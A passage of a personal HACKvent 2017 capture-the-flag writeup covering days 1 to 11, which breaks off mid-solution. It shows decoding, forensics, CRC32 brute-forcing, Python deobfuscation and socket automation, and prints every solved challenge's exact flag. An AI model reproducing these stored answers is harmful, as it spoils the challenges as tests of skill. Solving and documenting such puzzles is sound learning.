HACKvent17 writeup

As every year hacking-lab.com carried out the annual HACKvent challenge. Each day from the 1st of december until the 24th a new challenge is published. The difficulty raises from day to day. After all I managed to solve 20 of 24 tasks:

Easy
Day 01: 5th anniversary
Day 02: Wishlist
Day 03: Strange Logcat Entry
Medium
Day 04: HoHoHo
Day 05: Only one hint
Day 06: Santa’s journey
Day 07: i know …
Day 08: True 1337s
Day 09: JSONion
Day 10: Just play the game
Hard
Day 11: Crypt-o-Math 2.0
Day 12: giftlogistics
Day 13: muffin_asm
Day 14: Happy Cryptmas
Day 15: Unsafe Gallery
Day 16: Try to escape …
Day 17: Portable NotExecutable
Final
Day 18: I want to play a Game (Reloaded)
Day 19: Cryptolocker Ransomware
Day 20: linux malware
Day 21: tamagotchi
Day 22: frozen flag
Day 23: only perl can parse Perl
Day 24: Chatterbox


Day 01: 5th anniversary

Author: M.
time to have a look back

The provided image already gives us the first two parts of the flag (5YRS-4evr).

According the image the 3rd part seems to be taken from the flag of the first challenge from HACKvent 2014, the 4th from HACKvent 2015 and the 5th from HACKvent 2016.

Just googling for writeups from the past challenges results in the following pages providing the flags of the past challenges:

HACKvent 2014
https://github.com/shiltemann/CTF-writeups-public/blob/master/Hackvent_2014/dec01.md
Flag: HV24-BAAJ-6ZtK-IJHy-bABB-YoMw

HACKvent 2015
https://mohammadg.com/capture-the-flag/hacking-lab/hackvent-2015/hv15-day-1/
Flag: HV15-Tz9K-4JIJ-EowK-oXP1-NUYL

HACKvent 2016
https://thevamp.cc/wp-content/uploads/downloads/2017/03/HV16-Writeup.pdf
Flag: HV16-t8Kd-38aY-QxL5-bn4K-c6Lw

Thus the final flag is:
HV17-5YRS-4evr-IJHy-oXP1-c6Lw


Day 02: Wishlist

Author: avarx
The fifth power of two
Something happened to my wishlist, please help me.

Get the Wishlist

The challenge provides a text-file (Whistlist.txt) which contains some base64-encoded data:

user@host:~# tail -c 200 Wishlist.txt 
aFBWVkpwVWpOUk1WZHNWbUZoTWtaMFUydGtWR0p0T1V4V2JUQjRUa1pT
CmMxUllhRmhpYXpWWFdXdGtVMVF4V25SbFNHTkxDbFpxUmxwbFYxWkdaRWRvVGxK
RldsaFdSM1J2WkRGa2RGTnUKVWxCV1JUVlhWRlJLVTAxc1ZrZFNibHBSVlZjNE9V
Tm5QVDBLCg==

Decoding the provided contents of the file leads to yet another base64-string:

user@host:~# cat Wishlist.txt | base64 -d | tail -c 200
YXpWWUNsbHNhRzlsYkd3MlVteGthazFY
ZEROYQpSVnByVmpBd2VXRkhPVVJpUjNRMVdsVmFhMkZ0U2tkVGJtOUxWbTB4TkZS
c1RYaFhiazVXWWtkU1QxWnRlSGNLClZqRlplV1ZGZEdoTlJFWlhWR3RvZDFkdFNu
UlBWRTVXVFRKU01sVkdSblpRVVc4OUNnPT0K

Repeatedly decoding the output of the last decoding seems to always yield another base64-encoded string.

The challenges description mentions The fifth power of two, which points to the solution that the string must be decoded 2^5 = 32 times.

Thus I wrote following python-script, which takes the original file-content and base64-decodes it 32 times:

#!/usr/bin/python

import base64

f = open("Wishlist.txt", "r")

content = f.read()

for i in range(32):
  content = base64.b64decode(content)

print(content)

Running the script yields the flag:

root@host:~# ./wish.py
HV17-Th3F-1fth-Pow3-r0f2-is32

The flag is HV17-Th3F-1fth-Pow3-r0f2-is32.


Day 03: Strange Logcat Entry

Author: pyth0n33
Lost in messages
I found those strange entries in my Android logcat, but I don’t know what it’s all about… I just want to read my messages!

Get the logcat

The challenge provides an android logcat-file. The file contains 3315 lines. The challenge description Lost in messages suggests, that we must find the relevant information within a lot of unnecessary stuff.

Another point to notice (I only figured out later) is that the 03.12.2017 has been the 25th anniversay of the short message service (sms).

After scrolling the logfile the following line caught my attention:

11-13 20:40:24.044	137	  137  DEBUG: I 07914400000000F001000B913173317331F300003AC7F79B0C52BEC52190F37D07D1C3EB32888E2E838CECF05907425A63B7161D1D9BB7D2F337BB459E8FD12D188CDD6E85CFE931

Because the hidden flag has to be encoded in the log somehow and all other log entries don’t really seem to contain encoded information or any references, this entry seems right.

Scrolling a little but more up there is another entry for the same pid (137):

11-13 20:40:13.542	 137   137 I DEBUG	 : 			FAILED TO SEND RAW PDU MESSAGE

Now it seems obvious that the message is an encoded sms (in PDU format).

Copy-pasting the hex-dump to an online-decoder (https://smspdu.benjaminerhart.com/) reveales the following User Data:

Good Job! Now take the Flag: HV17-th1s-isol-dsch-00lm-agic

The flag is HV17-th1s-isol-dsch-00lm-agic.


Day 04: HoHoHo

Author: inik
NOTE: New easyfied attachment available
Santa has hidden something for you here

The challenge has been updated at 09:45. The PDF-file has been adjusted to make it easier to retrieve the flag. In the following description I used the updated version of the file (Hohoho_medium.pdf).

There are many ways to hide information within a PDF-file which made this task quite challenging.

After trying a view pdf-utilites (pdfinfo, pdfimages, pdftotext, …) and analysing the embedded images I decided to analyse the file with binwalk:

root@host:~# binwalk HoHoHo_medium.pdf

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PDF document, version: "1.4"
278           0x116           Zlib compressed data, default compression
1687          0x697           Unix path: /Subtype/Image/Type/XObject/Filter/FlateDecode/Width 179/Height 278/BitsPerComponent 8/Length 17539/ColorSpace/DeviceRGB/SMask 1
1831          0x727           Zlib compressed data, default compression
19416         0x4BD8          Unix path: /Subtype/Image/Type/XObject/Filter/FlateDecode/Width 179/Height 278/BitsPerComponent 8/Length 949/ColorSpace/DeviceGray>>stream
19545         0x4C59          Zlib compressed data, default compression
20583         0x5067          Zlib compressed data, default compression
30744         0x7818          Zlib compressed data, default compression
31451         0x7ADB          Unix path: /Type/EmbeddedFile/Subtype/text#2Fplain/Length 23780/Params<</Size 97873/CreationDate(D:20171204092920+01'00')/ModDate(D:2017120
31671         0x7BB7          Zlib compressed data, default compression
55554         0xD902          Zlib compressed data, default compression
56801         0xDDE1          Zlib compressed data, default compression

The file contains a few zlib-containers we should to have a closer look at. With the binwalk option -D the containers can be extracted:

root@host:~# binwalk -D "zlib" HoHoHo_medium.pdf
root@host:~# cd _HoHoHo_medium.pdf.extracted
root@host:~/_HoHoHo_medium.pdf.extracted# file *
116:  zlib compressed data
4C59: zlib compressed data
5067: zlib compressed data
727:  zlib compressed data
7818: zlib compressed data
7BB7: zlib compressed data
D902: zlib compressed data
DDE1: zlib compressed data

The extracted containers can be decompressed with gzip by prepending the gzip magic number and the compression method:

root@host:~/_HoHoHo_medium.pdf.extracted# printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" | cat - 116 | gzip -dc > 116_unzipped

gzip: stdin: invalid compressed data--crc error

gzip: stdin: invalid compressed data--length error

Though gzip raises two errors the file has been decompressed. Repeat this for all extracted containers (e.g. with a shell-script). Now we can use file to see what data actually resides within the containers:

root@host:~/_HoHoHo_medium.pdf.extracted# file *
116_unzipped:  ASCII text, with very long lines
4C59_unzipped: data
5067_unzipped: TrueType Font data, 12 tables, 1st "cmap", 30 names, Macintosh, Digitized data copyright \251 2007, Google Corporation.Droid Sans RegularRegularFontForge 2.0 : 
727_unzipped:  data
7818_unzipped: ASCII text
7BB7_unzipped: Spline Font Database version 3.0
D902_unzipped: data
DDE1_unzipped: data

file identified plain ASCII text, data and fonts. After searching a little bit through the data, I stumbled upon the following:

root@host:~/_HoHoHo_medium.pdf.extracted# strings D902_unzipped
...
<</Type/Filespec/Desc()/EF<</F 21 0 R >>/UF(DroidSans-HACKvent.sfd)/F(DroidSans-HACKvent.sfd)>><</EmbeddedFiles 24 0 R >><</Names[(
d) 22 0 R ]<<

There is a reference to a file named DroidSans-HACKvent.sfd. The name suggests that this is a custom font for the HACKvent challenge. So I decided to focus on the extracted fonts.

Examining the Spline Font Database version 3.0 (7BB7_unzipped) the following lines caught my attention:

root@host:~/_HoHoHo_medium.pdf.extracted# strings 7BB7_unzipped
...
StartChar: d
Encoding: 27 100 27
...
SplineSet
852 147 m 1,0,-1
 844 147 l 1,1,2
 822 113 822 113 792.5 82.5 c 128,-1,3
 763 52 763 52 724.5 29 c 128,-1,4
 686 6 686 6 638 -7 c 128,-1,5
...

StartChar: f
Encoding: 28 102 28
...

StartChar: uni0080
Encoding: 45 128 45
...

StartChar: uni0081
Encoding: 46 129 46
...

StartChar: uni009C
Encoding: 73 156 73

At the beginning of the file usual ASCII-characters, which are used within the PDF-File, are defined (e.g. ‘d’ and ‘f’). The SplineSet after each character describes the appearance of the character. What seemed strange is that after the usual ASCII-characters a few unicode-characters are described ranging from 0080 up to 009c. The count of these characters (=29) coincidentally match the character count necessary for a valid flag (HV17-xxxx-xxxx-xxxx-xxxx).

After converting the file from SFD to TrueType-Font (ttf) and viewing the font in libre office the assumption that these characters form the flag were confirmed:

The flag is HV17-RP7W-DU6t-Z3qA-jwBz-jItj.


Day 05: Only one hint


Author: HaRdLoCk
OK, 2nd hint: Its XOR not MOD
Here is your flag:

0x69355f71
0xc2c8c11c
0xdf45873c
0x9d26aaff
0xb1b827f4
0x97d1acf4

and the one and only hint:

0xFE8F9017 XOR 0x13371337

The challenge has been updated at 13:00. The hint formerly contained % (Modulo) instead of XOR.

The flag-format (HV17-xxxx-xxxx-xxxx-xxxx-xxxx) consist of 6 x 4-byte blocks (including "HV17").

Because the description states Here is your flag followed by 6 x 4-byte hex values, it seems likely that each 4-byte hex value is connected to one block of the flag. Thus the first 4-byte hex value should be connected to "HV17".

The big question was how to transform the hex values into the flag and how the hint can help us here.

After the % was changed to an XOR I calculated the result of the hint:

0xFE8F9017 XOR 0x13371337 = 0xEDB88320

Googling for the resulting value 0xEDB88320 revealed that the value is a bit-mask used in the CRC32-algorithm.

This hint was very valuable. The 4-byte hex values seems to be CRC32-checksums of the corresponding part of the flag.

I verified the assumption using the crc32 tool:

root@host:~# cat flag_part0
HV17root@host:~# crc32 flag_part0
69355f71

The calculated checksum for "HV17" matches the first 4-byte hex value!

While its quite easy to do this for the first part of the flag (which we already know is "HV17"), the following parts of the flag can be bruteforced.

I wrote the following python-script to iterate over all 4-character combinations of the possible flag-parts, calculate the crc32-checksum and compare this to the given 4-byte hex values:

#!/usr/bin/python
import zlib

START = 31
END   = 127

for a in range(START, END):
  for b in range(START, END):
    for c in range(START, END):
      for d in range(START, END):

        txt = chr(a) + chr(b) + chr(c) + chr(d)
        tmp = zlib.crc32(txt) % (1<<32)

        if (tmp == 0x69355f71): print("hv = " + txt)
        if (tmp == 0xc2c8c11c): print("f1 = " + txt)
        if (tmp == 0xdf45873c): print("f2 = " + txt)
        if (tmp == 0x9d26aaff): print("f3 = " + txt)
        if (tmp == 0xb1b827f4): print("f4 = " + txt)
        if (tmp == 0x97d1acf4): print("f5 = " + txt)

Running the script resulted in the following output:

root@kali:~# ./crack.py 
f1 = 7pKs
hv = HV17
f5 = Qlt6
f4 = h4rp
f3 = o6wF
f2 = whyz

The flag is HV17-7pKs-whyz-o6wF-h4rp-Qlt6.


Day 06: Santa’s journey


Author: avarx
Make sure Santa visits every country
Follow Santa Claus as he makes his journey around the world. Link

The provided link lead to a website which contains an image showing a QR-code.

I scanned the QR-code online (https://zxing.org/w/decode) which yield the string Uzbekistan.

After reloading the page, another QR-code was displayed containing the string Zambia.

The challenge description says Make sure Santa visits every country. Thus I decided to write a python-script which loads the QR-code, collects the country-string, reloads the image, collects the country-string, and so forth:

#!/usr/bin/python
import subprocess
import time

while True:

  # GET IMAGE FROM WEBSITE
  ret = subprocess.check_output(["curl", "http://challenges.hackvent.hacking-lab.com:4200/image.png"])
  f = open("raw.png", "w")
  f.write(ret)
  f.close()

  # UPLOAD NEW IMAGE AND GET QR-CODE (=KEY)
  ret = subprocess.check_output(["curl", "https://zxing.org/w/decode", "-F", "f=@raw.png"])
  country = ret.split("Parsed Result</td><td><pre>",1)[1]
  country = country.split("</pre></td></tr></table>",1)[0]
  print(country)

  # WAIT ONE SECOND FOR NEXT COUNTRY
  time.sleep(1)

After the script collected countries for about 1-2 minutes it finally collected the flag:

user@host:~$ ./qr.py 
Wallis and Futuna Islands
Vatican
Bahamas
New Caledonia
Macedonia
Gibraltar
Mongolia
Botswana
Faroe Islands
Argentina
Nicaragua
Montserrat
Bouvet Island
Mauritania
Luxembourg
Antigua and Barbuda
Madagascar
Wallis and Futuna Islands
...
HV17-eCFw-J4xX-buy3-8pzG-kd3M

The flag is HV17-eCFw-J4xX-buy3-8pzG-kd3M.


Day 07: i know …


Author: HaRdLoCk
… what you did last xmas
We were able to steal a file from santas computer. We are sure, he prepared a gift and there are traces for it in this file.

Please help us to recover it: Download

The challenge provided a file called SANTA.FILE. I started by analysing it with the file tool:

user@host:~# file SANTA.FILE 
SANTA.FILE: Zip archive data, at least v1.0 to extract

So we have got a zip-archive here. Let’s extract it:

user@host:~# unzip SANTA.FILE 
Archive:  SANTA.FILE
  inflating: SANTA.IMA  

The archive contains a file called SANTA.IMA. Yet again use file:

user@host:~# file SANTA.IMA 
SANTA.IMA: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "WINIMAGE", sectors/cluster 4, root entries 16, sectors 3360 (volumes <=32 MB), sectors/FAT 3, sectors/track 21, serial number 0x2b523d5, label: "           ", FAT (12 bit), followed by FAT

This file seems to be a DOS-partition. My first lucky guess was to use strings and grep for a flag:

user@host:~# strings SANTA.IMA | grep HV17 
Y*C:\Hackvent\HV17-UCyz-0yEU-d90O-vSqS-Sd64.exe

Woohoo! We already got the flag.

The flag is HV17-UCyz-0yEU-d90O-vSqS-Sd64.

Further thoughts:

The file SANTA.IMA is a mountable DOS-partition which can be mounted with the mount tool:

user@host:~# mkdir /tmp/santa
user@host:~# mount SANTA.IMA /tmp/santa/

Let’s have a look at the content of the mounted partition:

user@host:~# cd /tmp/santa
user@host:~# ls -al
total 774
drwxr-xr-x  2 root root    512 Jan  1  1970 .
drwxrwxrwt 19 root root   4096 Dec 13 15:44 ..
-rwxr-xr-x  1 root root 786432 Nov 14 09:16 SANTA.PRIV

There is a file called SANTA.PRIV. File again:

user@host:~# file SANTA.PRIV
SANTA.PRIV: MS Windows registry file, NT/2000 or above

So this seems to be a windows registry file. The strings way works again:

user@host:~# strings SANTA.PRIV | grep HV17
Y*C:\Hackvent\HV17-UCyz-0yEU-d90O-vSqS-Sd64.exe

I further tried to analyze the file with regripper which generated a report-file also containing the flag:

user@host:~# cat report.txt | grep -C3 HV17
Tue Nov 14 07:09:10 2017 Z
  Microsoft.Windows.Explorer (6)
Tue Nov 14 07:09:03 2017 Z
  C:\Hackvent\HV17-UCyz-0yEU-d90O-vSqS-Sd64.exe (1)
Tue Nov 14 07:08:49 2017 Z
  Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge (1)
Tue Nov 14 07:08:45 2017 Z

Day 08: True 1337s


Author: pyth0n33
… can read this instantly
I found this obfuscated code on a public FTP-Server. But I don’t understand what it’s doing…

Download

The challenge provides a file called True.1337, which is an ASCII-file containing two different parts.

The first part “True”:

exec(chr(True+True+True+True+True+True+True+True+True+True)+chr(True+True+True+True+True+ ...))

The second part “1337”:

__1337(_1337(1337+1337+1337+1337+1337+1337+1337+1337+1337+1337)+_1337(1337+1337+1337+ ...))

This seems to be python-code. The first part calls the exec function, which executes the given string. In this case the string passed to exec is concatenated by subsequent calls to the chr function, which returns a single character for the given ascii-value. The value passed to chr is composed of a lot of Trues, which are added together. Interpreted as a number True equals 1. Thus the value passed to chr matches the count of Trues given to chr. The second part also makes some nested calls, but we don’t know yet how the functions __1337 and _1337 are defined.

Let’s begin with the first part. It’s constructed like this:

exec(STRING)
STRING = chr(ASCII_1) + chr(ASCII_2) + chr(ASCII_3) + ...
ASCII_1 = True + True + True ... = 1 + 1 + 1 + ... = 10 = 0x0A (ASCII '\n')
ASCII_2 = True + True + True ... = 1 + 1 + 1 + ... = 61 = 0x41 (ASCII 'A')

A tiny python-script can print what the first part does:

#!/usr/bin/python

# OPEN CHALLENGE FILE
f = open("True.1337", "r")
content = f.read()

# EXTRACT TRUE-PART
truePart = content[5:content.find("True))")+5]
exec("trueOutput="+truePart)

# TRUE-PART EVALUATES TO THE FOLLOWING OUTPUT
print(trueOutput)

The script outputs the string, which is passed to exec in the challenge-file:

A=chr;__1337=exec;SANTA=input;FUN=print
def _1337(B):return A(B//1337)

At this stage we know how the functions of the second part are defined. __1337 is just a synonym for exec and _1337 takes one argument, divides it by 1337 and returns the corresponding character (A=chr;).

We extend the python-script to define the functions as declared in the first part and output the second part:

...
#DEFINE FUNCTION _1337 (2ND LINE FROM OUTPUT OF FIRST PART)
def __1337(B): return chr(B//1337)

# EXTRACT 1337-PART
part1337 = content[content.find("__1337(")+7:-1]
exec("output1337="+part1337)

# REPLACE FUNCTION-NAMES (1ST LINE FROM OUTPUT OF FIRST PART)
finalProg = output1337.replace("SANTA", "input").replace("FUN", "print")
print(finalProg)

This outputs the second part:

C=input("?")
if C=="1787569":print(''.join(chr(ord(a) ^ ord(b)) for a,b in zip("... <binary data> ...", "31415926535897932384626433832")))

The program prompts the user to enter an input, stored in the variable C. The flag seems the be encoded using XOR and will be printed if we input "1787569" for C. Thus we now can run the final program with the following extension to our script:

...
exec(finalProg)

And just enter "1787569":

?"1787569"
HV17-th1s-ju5t-l1k3-j5sf-uck!

Notice the embracing " around the number! The comparison in the final program is a string-comparison. If we just enter 1787569 the input function interprets our input as an integer and the comparison fails.

The flag is HV17-th1s-ju5t-l1k3-j5sf-uck!.


Day 09: JSONion


Author: inik
… is not really an onion. Peel it and find the flag. Download

The challenge provides a zip-archive which contains a quite big JSON-file (~1.5M):

user@host:~# cat jsonion.json | cut -b 1-300 
[{"op":"map","mapTo":"[{\"op:gzi,cnteH4sIADSTXjNal\\\/8d9wCByr30Qh+FYPxvqVUOWR7f56Zb21kuJGKmLEM=}]","content":"\/8ge+gugqP5+glgze:K2:KgugFis\"MMMMMMMMMonzJU2ps\\{S6NvsmOk]ZIn}h}oM\"p\"L\"RYXqFqB5ZCWM4]C4+fOvFXDXW{Y==jSsqhJThsX0VW[W6N6NhWbb[W6N6N3W6NUFiP6N6NxJhTbS:a{iW6Nn2m3D3XvKfz=JT3}UXb{xSbG4Vib5V

At first sight the defined JSON-object consists of an array which contains a dict. Let’s parse the JSON-file with python and have a closer look at it:

#!/usr/bin/python

import json

f = open("jsonion.json", "r")
js = f.read()
f.close()
data = json.loads(js)

print("len = " + str(len(data)))
print("keys = " + str(data[0].keys()))

Running the script:

user@host:~# ./parseJSON.py 
len = 1
keys = [u'content', u'mapFrom', u'mapTo', u'op']

So the array holds one dict with the keys op, content, mapFrom and mapTo.

As we have already seen at first glance the value of op is map. mapFrom and mapTo contain different strings which seem to be a concatenation of unassociated characters. content holds a very large string.

According to the challenge description we have to peel the not-so-real onion in order to get the flag. Because of the names of the entries in the dict it seems likely that op defines an operation we have to run on the value of content.

The operation map and the two keys mapFrom and mapTo suggest that every character in the string defined by content has to be looked up in mapFrom and than be changed with to corresponding character in mapTo based on its index in mapFrom.

The following python-script creates a dict which maps every character from mapFrom to the character with the same index in mapTo, applies this replacement on content and writes the result in a new file:

myMap = {}
for i in range(len(data[0]["mapFrom"])):
  myMap[data[0]["mapFrom"][i]] = data[0]["mapTo"][i]

f = open("jsonion1.json", "w")
f.write("".join(myMap.get(ch, ch) for ch in data[0]["content"]))
f.close()

After running the script the newly created file contains …

user@host:~# cat jsonion1.json | cut -b 1-100
[{"op":"gzip","content":"H4sIAAAAAAAAADScTXejsNal\/8sd9wCBySr3rDAIjI0IQh+gHgFiBYPAxCYxpv98H+q+PahVVU

… yet another JSON-object!

Now the operation is called gzip and the only other key is our already known content.

After defining a python function to execute the gzip operation yet another JSON-object can be revealed which contains an operation called b64.

At this stage I decided to create a loop to:
(1) grab the operation (op)
(2) grab additional values if existing (e.g. with map: mapFrom, mapTo)
(3) execute the corresponding python-function to reveal the next JSON-object
(4) take the JSON-object and go back to (1)

If the operation was not yet known the python-script stopped, I added the new operation and rerun the script.

Doing this revealed the following operations:

op keys what needs to be done
map content, mapFrom, mapTo lookup index of every character from content in mapFrom and replace this character in content with the character with the same index in mapTo
gzip content decompress the content using gzip
b64 content decode the content using base64
nul content just interpretate content as a new JSON-object
xor content, mask xor every character in content with mask
rev content read content in reverse
flag content content (may) contain the flag!

Running the adapted pyton-script resulted in the following output:

user@host:~# ./parseJSON
#	op
-------------
0	map
1	gzip
2	b64
3	gzip
4	map
5	map
6	nul
...
77	xor
78	b64
79	b64
80	b64
81	flag
THIS-ISNO-THEF-LAGR-EALL-Y...

Ouh? The onion has been peeled completely just to get "THIS-ISNO-THEF-LAGR-EALL-Y..."?

Seems that the real flag has to be somewhere else. My first assumption was that there might be an additional key in one of the JSON-objects. So I added an output for all keys:

user@host:~# ./parseJSON
#	op	keys
----------------------------------------
0	map	content,mapFrom,mapTo,op
1	gzip	content,op
2	b64	content,op
3	gzip	content,op
4	map	content,mapFrom,mapTo,op
5	map	content,mapFrom,mapTo,op
6	nul	content,op
...
77	xor	content,mask,op
78	b64	content,op
79	b64	content,op
80	b64	content,op
81	flag	content,op
THIS-ISNO-THEF-LAGR-EALL-Y...

Hm, nothing suspicious here. After thinking it all over for a while I thought that there might be an additional JSON-object within the outer array. Formerly I accessed the JSON-object only with data[0], but what if there’s a data[1]? Let’s add yet another output for the length of the array:

user@host:~# ./parseJSON
#	op	len
-------------------
0	map	1
1	gzip	1
...
70	b64	1
71	nul	1
72	map	1
73	xor	2
74	b64	1
75	rev	1
76	nul	1
77	xor	1
78	b64	1
79	b64	1
80	b64	1
81	flag	1
THIS-ISNO-THEF-LAGR-EALL-Y...

There it is! There is another JSON-object within the 73th outer array. That’s what must to be meant with the hint … is not really an onion. Having a first look at this object revealed that this is another JSON-object in the format we already know. Thus I just added a condition and an index to choose the right direction:

jsonIdx = 0
...
if(len(data) > 1): jsonIdx = 1
...
# access JSON-object with data[jsonIdx]

Rerunning the script:

user@host:~# ./parseJSON
#	op	len
-------------------
0	map	1
1	gzip	1
2	b64	1
...
72	map	1
73	xor	2
74	xor	1
75	rev	1
76	nul	1
77	xor	1
78	rev	1
79	rev	1
80	b64	1
81	rev	1
82	b64	1
83	b64	1
84	nul	1
85	rev	1
86	rev	1
87	b64	1
88	map	1
89	b64	1
90	xor	1
91	b64	1
92	b64	1
93	flag	1
HV17-Ip11-9CaB-JvCf-d5Nq-ffyi

Done! Really great challenge!

The flag is HV17-Ip11-9CaB-JvCf-d5Nq-ffyi.

The final-python script I used (the original JSON-file has been renamed from jsonion.json to jsonion0.json):

#!/usr/bin/python

import json
import sys
import base64
import gzip
import binascii

idx = 0

print("#\top\tlen\tkeys")
print("--------------------------------------")

while True:

  jsonIdx = 0

  # READ JSON FILE
  f = open("jsonion"+str(idx)+".json", "r")
  j = f.read()
  f.close()
  data = json.loads(j)

  # ++++++++++++ OPERATIONS ++++++++++++

  print(str(idx) + "\t" + data[jsonIdx]["op"]+"\t"+ str(len(data[jsonIdx]["content"])) + "\t" + ",".join(data[jsonIdx]))

  idx += 1
  if(len(data) > 1): jsonIdx = 1


  # MAP
  if (data[jsonIdx]["op"] == u"map"):
    myMap = {}
    for i in range(len(data[jsonIdx]["mapFrom"])):
      myMap[data[jsonIdx]["mapFrom"][i]] = data[jsonIdx]["mapTo"][i]

    f = open("jsonion"+str(idx)+".json", "w")
    f.write("".join(myMap.get(ch, ch) for ch in data[jsonIdx]["content"]))
    f.close()


  # GZIP
  elif (data[jsonIdx]["op"] == u"gzip"):
    fgzip = open("json_tmp.gzip", "w")
    fgzip.write(base64.b64decode(data[jsonIdx]["content"]))
    fgzip.close()

    fgzip = gzip.open("json_tmp.gzip", "rb")
    f = open("jsonion"+str(idx)+".json", "w")
    f.write(fgzip.read())
    f.close()
    fgzip.close()


  # BASE64
  elif (data[jsonIdx]["op"] == u"b64"):
    f = open("jsonion"+str(idx)+".json", "w")
    f.write(base64.b64decode(data[jsonIdx]["content"]))
    f.close()

  # NUL
  elif (data[jsonIdx]["op"] == u"nul"):
    f = open("jsonion"+str(idx)+".json", "w")
    f.write(data[jsonIdx]["content"])
    f.close()

  # XOR
  elif (data[jsonIdx]["op"] == u"xor"):
    mask = ord(base64.b64decode(data[jsonIdx]["mask"]))
    contentBinary = base64.b64decode(data[jsonIdx]["content"])
    newContent = [0] * len(contentBinary)
    for i in range(len(newContent)):
      newContent[i] = chr(ord(contentBinary[i]) ^ mask)
    f = open("jsonion"+str(idx)+".json", "w")
    f.write("".join(newContent))
    f.close()

  # REV
  elif (data[jsonIdx]["op"] == u"rev"):
    f = open("jsonion"+str(idx)+".json", "w")
    f.write(data[jsonIdx]["content"][::-1])
    f.close()

  # FLAG
  elif (data[jsonIdx]["op"] == u"flag"):
    print(data[jsonIdx]["content"])
    quit()


  # UNKNOWN OP
  else:
    print("unknown op:" + data[jsonIdx]["op"])
    quit()

Day 10: Just play the game


Author: pyth0n33
Haven’t you ever been bored at school?
Santa is in trouble. He’s elves are busy playing TicTacToe. Beat them and help Sata to save christmas!

nc challenges.hackvent.hacking-lab.com 1037

Let’s give it a try:

user@host:~# nc challenges.hackvent.hacking-lab.com 1037
       ---_ ......._-_--.
      (|\ /      / /| \  \
      /  /     .'  -=-'   `.
     /  /    .'             )
   _/  /   .'        _.)   /
  / o   o        _.-' /  .'
  \          _.-'    / .'*|
   \______.-'//    .'.' \*|
    \|  \ | //   .'.' _ |*|
     `   \|//  .'.'_ _ _|*|
      .  .// .'.' | _ _ \*|
      \`-|\_/ /    \ _ _ \*\
       `/'\__/      \ _ _ \*\
      /^|            \ _ _ \*
     '  `             \ _ _ \
                       \_
Challenge by pyth0n33. Have fun!

I think you know the game from school...Don't you?

Press enter to start the game
<ENTER>

 ------------- 
 | * | * | * | 
 ------------- 
 ------------- 
 | * | * | * | 
 ------------- 
 ------------- 
 | * | * | * | 
 ------------- 
Make your move. Type the number of the field you want to set! (1-9)

Field: 2

 ------------- 
 | * | X | * | 
 ------------- 
 ------------- 
 | * | O | * | 
 ------------- 
 ------------- 
 | * | * | * | 
 ------------- 
Make your move. Type the number of the field you want to set! (1-9)

Field: 3

------------- 
 | O | X | X | 
 ------------- 
 ------------- 
 | * | O | * | 
 ------------- 
 ------------- 
 | * | * | * | 
 ------------- 
Make your move. Type the number of the field you want to set! (1-9)

Field: 9

 ------------- 
 | O | X | X | 
 ------------- 
 ------------- 
 | * | O | O | 
 ------------- 
 ------------- 
 | * | * | X | 
 ------------- 
Make your move. Type the number of the field you want to set! (1-9)

Field: 4

 ------------- 
 | O | X | X | 
 ------------- 
 ------------- 
 | X | O | O | 
 ------------- 
 ------------- 
 | O | * | X | 
 ------------- 
Make your move. Type the number of the field you want to set! (1-9)

Field: 8

 ------------- 
 | O | X | X | 
 ------------- 
 ------------- 
 | X | O | O | 
 ------------- 
 ------------- 
 | O | X | X | 
 ------------- 
There is no winner...

Press enter to start again

Ok, seems like we just have to win again the AI.

After a few tries I entered 7, 3, 9, …

Make your move. Type the number of the field you want to set! (1-9)

Field: 9

 ------------- 
 | O | * | X | 
 ------------- 
 ------------- 
 | * | O | * | 
 ------------- 
 ------------- 
 | X | O | X | 
 ------------- 
Make your move. Type the number of the field you want to set! (1-9)

Field:

Looks good!

6

 ------------- 
 | O | O | X | 
 ------------- 
 ------------- 
 | * | O | X | 
 ------------- 
 ------------- 
 | X | O | X | 
 ------------- 
Congratulations you won! 1/100

Press enter to start again

1 of 100!? Ok, we need some automation here:

#!/usr/bin/python

import socket
from time import sleep

inp_array = ["\n", "7\n", "3\n", "9\n", "6\n"]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("challenges.hackvent.hacking-lab.com", 1037))
ret = s.recv(2048)

idx = 0

while True:

  sleep(0.2)
  s.send(inp_array[idx%5])
  ret = s.recv(1024)
  print(ret)

  if ("100/100" in ret): quit()

  idx += 1

After running the script and waiting for the 100th game to be won:

user@host:~# ./ticTacToe.py

...

 ------------- 
 | O | O | X | 
 ------------- 
 ------------- 
 | * | O | X | 
 ------------- 
 ------------- 
 | X | O | X | 
 ------------- 
Congratulations you won! 100/100

HV17-y0ue-kn0w-7h4t-g4me-sure
Press enter to start again

Done 🙂

The flag is HV17-y0ue-kn0w-7h4t-g4me-sure.


Day 11: Crypt-o-Math 2.0


Author: HaRdLoCk
So you bruteforced last years math lessions? This time you cant escape!

c = (a * b) % p
c=0x559C8077EE6C7990AF727955B744425D3CC2D4D7D0E46F015C8958B34783
p=0x9451A6D9C114898235148F1BC7AA32901DCAE445BC3C08BA6325968F92DB
b=0xCDB5E946CB9913616FA257418590EBCACB76FD4840FA90DE0FA78F095873

find “a” to get your flag.

At 11:55 the numbers for the challenge have been changed, due to cheating activities.

As stated in the challenge description we have to find a number a to satisfy the equation. Because of the quite big numbers bruteforcing doesn’t seem to be an option.

After trying out different calculations I ended up googling for solutions to solve these kind of equations.

This way I stumbled upon a modular equation solver ( https://www.dcode.fr/modular-equation-solver ).

The solver needs three input values:
1) the equation to solve
2) the modulo
3) the variable to solve

At first I converted the provided values to decimal …

user@host:~# python
...
>>> 0x559C8077EE6C7990AF727955B744425D3CC2D4D7D0E46F015C8958B34783
590867720467499739656230398758801227927329092826661098133553607261505411L
>>> 0x9451A6D9C114898235148F1BC7AA32901DCAE445BC3C08BA6325968F92DB
1023659786424349813810435942750567812478342322946284370914320216115614427L
>>> 0xCDB5E946CB9913616FA257418590EBCACB76FD4840FA90DE0FA78F095873
1419762318326277663933821153866524377417016166171412157761654041111779443L

and then entered:

1)
a * b = c
a * 1419762318326277663933821153866524377417016166171412157761654041111779443 = 590867720467499739656230398758801227927329092826661098133553607261505411

2)
p
1023659786424349813810435942750567812478342322946284370914320216115614427

3)
a

After just a few seconds the result is displayed:

a = 499249475383354981071223629166886691785708084325259209724836611856232704

Converting the result back to hex gives us the following:

...
